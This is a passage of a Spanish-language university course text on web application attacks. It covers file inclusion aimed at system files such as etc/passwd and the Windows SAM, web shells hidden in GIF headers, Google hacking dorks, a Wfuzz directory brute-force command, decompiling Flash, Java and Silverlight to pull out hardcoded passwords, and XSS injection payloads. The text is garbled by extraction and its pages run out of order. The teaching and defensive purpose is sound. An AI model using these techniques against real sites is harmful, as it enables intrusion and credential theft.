Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 8 Ataques a aplicaciones web
Cuando se habla de ejecucioacuten remota de coacutedigo es necesario considerar coacutemo
se realiza la interaccioacuten con la paacutegina Evidentemente toda peticioacuten enviada
al servidor va a ser procesada por este y en funcioacuten de coacutemo la interprete seraacute
o no factible un ataque mediante XSS
Una paacutegina es vulnerable a XSS cuando aquello que nosotros enviamos
al servidor (un comentario un cambio en un perfil una buacutesqueda etc)
se ve posteriormente mostrado en la paacutegina de respuesta
Esto es cuando escribimos un comentario en una paacutegina y podemos leer
posteriormente nuestro mensaje modificamos nuestro perfil de usuario
y el resto de usuarios puede verlo o realizamos una buacutesqueda y se nos
muestra un mensaje ldquoNo se han encontrado resultados para lttextogtrdquo
se estaacute incluyendo dentro de la paacutegina el mismo texto que nosotros
hemos introducido Ahiacute es donde vamos a empezar a investigar para
lograr introducir nuestro coacutedigo XSS
Una vez se ha detectado una zona de la aplicacioacuten que al recibir texto proce-
dente del usuario lo muestra en la paacutegina es el momento de determinar si es
posible utilizar esa zona como punto de ataque de XSS Para ello es posible
insertar un pequentildeo coacutedigo Javascript que muestra un mensaje de alerta para
descubrir raacutepidamente si se estaacute actuando en la liacutenea correcta de ataque Para
los ejemplos se utilizaraacute el siguiente coacutedigo
ltscriptgtalert(iexclHola Mundo)ltscriptgt
El coacutedigo anterior va a ser vaacutelido para la mayor parte de los casos aunque
como se veraacute posteriormente determinados filtros Anti-XSS pueden imposibi-
litar el uso de ciertos caracteres a la hora de introducir el coacutedigo Javascript Por
ejemplo las comillas dobles o los caracteres de ldquomayor querdquo y ldquomenor querdquo
suelen estar prohibidos
Imaginemos que disponemos de un perfil en una red social donde se nos permite modi-ficar nuestra descripcioacuten personal En lugar de escribir otra informacioacuten en este apartadose introduce el coacutedigo JavaScript anterior Si al visitar de nuevo nuestro perfil se muestrauna ventana de alerta con el mensaje ldquoiexclHola Mundordquo se puede afirmar que la paacutegina encuestioacuten es vulnerable a XSS
Dentro de los posibles fallos de XSS podemos distinguir dos grandes categoriacuteas
bull Permanentes El ejemplo comentado en el paacuterrafo anterior pertenece a esta
categoriacutea Su denominacioacuten se debe al hecho de que como mostraba el
ejemplo la ventana de alerta en Javascript queda almacenada en alguacuten
lugar habitualmente una base de datos SQL y se va a mostrar a cualquier
usuario que visite nuestro perfil Evidentemente este tipo de fallos de XSS
son mucho maacutes peligrosos que los no permanentes que se comentan a
continuacioacuten
CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web
bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se
menciona Nos encontramos con una paacutegina web que dispone de busca-
dor el cual al introducir una palabra inventada o una cadena aleatoria de
caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados
para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en
el campo de buacutesqueda
Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-
cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es
vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten
no son permanentes
XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo
Javascript en una aplicacioacuten web lo que permite realizar una serie de
acciones maliciosas en la misma
Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-
nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que
anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo
se ha escrito en alguacuten campo donde queda almacenado en una base de datos
de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina
Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En
estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque
Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute
ser algo similar a
httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt
Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga
clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea
ya a otro aacutembito de estudio como es la ingenieriacutea social
111 Ataques
Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que
pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-
mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante
y las funcionalidades de la aplicacioacuten objetivo del ataque
bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-
rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha
logrado que un usuario administrador ejecute nuestro coacutedigo Javascript
las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible
por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a
generar una cuenta de administrador con los datos que nosotros especifi-
CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web
quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de
administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil
especiacutefico del usuario en el sitio web
bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing
Mediante Javascript como hemos visto podemos modificar el comporta-
miento y la apariencia de una paacutegina web Esto permite crear un formula-
rio de login falso o redirigir el submit de uno existente hacia un dominio
de nuestro control
bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-
nicas que explotan vulnerabilidades XSS
bull Por otra parte aunque menos habitual es posible realizar un ataquedede-
negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)
Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-
gan un uso intensivo de recursos muy costosos en ancho de banda o ca-
pacidad de procesamiento de un servidor de forma asiacutencrona
bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga
dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-
cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red
social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo
Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita
otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-
cacioacuten en los perfiles afectados
Como se puede comprobar las posibilidades que ofrece el XSS son realmen-
te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar
coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no
permite el acceso a ficheros del sistema y a las propias funcionalidades que
ofrezca el sitio web objeto del posible ataque
112 Meacutetodos para introducir XSS (cross site scripting)
Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-
cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas
de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo
malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las
zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo
Javascript introducido
bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo
Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-
cutar
(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal
CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web
ltscriptgtalert(iexclHola Mundo)ltscriptgt
bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-
putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-
cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos
lo habitual es que el teacutermino introducido se copie dentro del campo del
buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-
tinuacioacuten
ltinput type=text name=q2 value=[busqueda] gt
Como se puede observar nuestro coacutedigo queda situado entre unas comillas
dobles de un atributo perteneciente a una etiqueta HTML que no permiten
que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la
que nos encontremos y posteriormente insertar el coacutedigo Javascript
gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=
Esta seriacutea la combinacioacuten resultante
ltinput type=text name=q value=gt
ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt
Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para
evitar de este modo que el coacutedigo HTML quede malformado
bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser
comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten
dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-
trar en una situacioacuten de este tipo es el siguiente
lt-- La busqueda fue [busqueda] --gt
Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-
te caso se deberiacutean cerrar los caracteres de comentario HTML introducir
nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios
HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse
perfectamente con el coacutedigo original de la paacutegina
--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-
Esta podriacutea ser la combinacioacuten adecuada
lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt
lt-- --gt
CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web
bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-
do las paacuteginas utilizan datos introducidos por el usuario para generar al-
guacuten tipo de evento personalizado o para almacenar datos que se van a usar
posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea
como la siguiente
ltscriptgt var busqueda = [busqueda] ltscriptgt
En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-
demos directamente introducir el coacutedigo Javascript como se refleja en la
siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-
tante cuando sea necesario evitar los filtros anti-XSS que las eliminan
alert(iexclHola Mundo)
Hemos utilizado las barras al final de la sintaxis para lograr que el resto de
la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-
tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-
do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML
debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores
no lo ejecutaraacuten
ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt
bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-
nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye
dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-
tido del supuesto de que no existen filtros anti-XSS implementados Jun-
